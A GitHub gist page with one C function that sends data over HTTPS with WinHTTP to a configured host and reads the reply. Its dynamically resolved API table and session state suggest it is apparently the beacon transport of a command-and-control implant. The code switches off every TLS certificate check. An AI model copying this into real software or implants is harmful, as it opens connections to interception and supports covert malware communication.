Skip to content

Instantly share code, notes, and snippets.

@Cracked5pider
Created July 11, 2022 14:41
Show Gist options
  • Save Cracked5pider/4f784ad7405eeda45a13a2b2638b85ec to your computer and use it in GitHub Desktop.
Save Cracked5pider/4f784ad7405eeda45a13a2b2638b85ec to your computer and use it in GitHub Desktop.
perform HTTPs requests using WinHTTP
BOOL TransportSend( LPVOID Data, SIZE_T Size, PVOID* RecvData, PSIZE_T RecvSize )
{
#ifdef TRANSPORT_HTTP
HANDLE hConnect = NULL;
HANDLE hSession = NULL;
HANDLE hRequest = NULL;
DWORD HttpFlags = 0;
LPVOID RespBuffer = NULL;
SIZE_T RespSize = 0;
DWORD BufRead = 0;
UCHAR Buffer[ 1024 ] = { 0 };
BOOL Successful = FALSE;
hSession = Instance->Win32.WinHttpOpen( Instance->Config.Transport.UserAgent, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, NULL, NULL, 0 );
if ( hSession )
{
hConnect = Instance->Win32.WinHttpConnect( hSession, CONFIG_HOST, CONFIG_PORT, 0 );
if ( hConnect )
{
hRequest = Instance->Win32.WinHttpOpenRequest( hConnect, Instance->Config.Transport.Method, Instance->Config.Transport.Uris[ 0 ], NULL, NULL, NULL, WINHTTP_FLAG_BYPASS_PROXY_CACHE | WINHTTP_FLAG_SECURE );
if ( hRequest )
{
HttpFlags = SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
if ( Instance->Win32.WinHttpSetOption( hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &HttpFlags, sizeof( DWORD ) ) )
{
// Send our data
if ( Instance->Win32.WinHttpSendRequest( hRequest, Instance->Config.Transport.Headers[ 0 ], StringLengthW( Instance->Config.Transport.Headers[ 0 ] ), Data, Size, Size, NULL ) )
{
if ( RecvData ) // if its not NULL then it means that you wanna have the reponse back.
{
if ( Instance->Win32.WinHttpReceiveResponse( hRequest, NULL ) )
{
RespBuffer = Instance->Win32.LocalAlloc( LPTR, 1024 );
do
{
Successful = Instance->Win32.WinHttpReadData( hRequest, Buffer, 1024, &BufRead );
if ( ! Successful )
PRINTF( "WinHttpReadData: Failed (%d)\n", NtGetLastError() );
if ( BufRead == 0 )
break;
RespBuffer = Instance->Win32.LocalReAlloc( RespBuffer, RespSize + BufRead, LMEM_MOVEABLE | LMEM_ZEROINIT );
RespSize += BufRead;
MemCopy( RespBuffer + ( RespSize - BufRead ), Buffer, BufRead );
MemSet( Buffer, 0, 1024 );
} while ( Successful == TRUE );
if ( RecvSize )
*RecvSize = RespSize;
if ( RecvData )
*RecvData = RespBuffer;
}
}
return TRUE;
}
else {
PRINTF( "WinHttpSendRequest: Failed => %d\n", NtGetLastError() )
if ( NtGetLastError() == 12029 ) // ERROR_INTERNET_CANNOT_CONNECT
{
PUTS( "ERROR_INTERNET_CANNOT_CONNECT" )
Instance->Session.Connected = FALSE;
}
}
} else PRINTF( "WinHttpSetOption: Failed => %d\n", NtGetLastError() );
}
else PRINTF( "WinHttpOpenRequest: Failed => %d\n", NtGetLastError() )
}
else PRINTF( "WinHttpConnect: Failed => %d\n", NtGetLastError() )
}
else PRINTF( "WinHttpOpen: Failed => %d\n", NtGetLastError() )
if ( hSession )
Instance->Win32.WinHttpCloseHandle( hSession );
if ( hConnect )
Instance->Win32.WinHttpCloseHandle( hConnect );
if ( hRequest )
Instance->Win32.WinHttpCloseHandle( hRequest );
return FALSE;
#endif
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment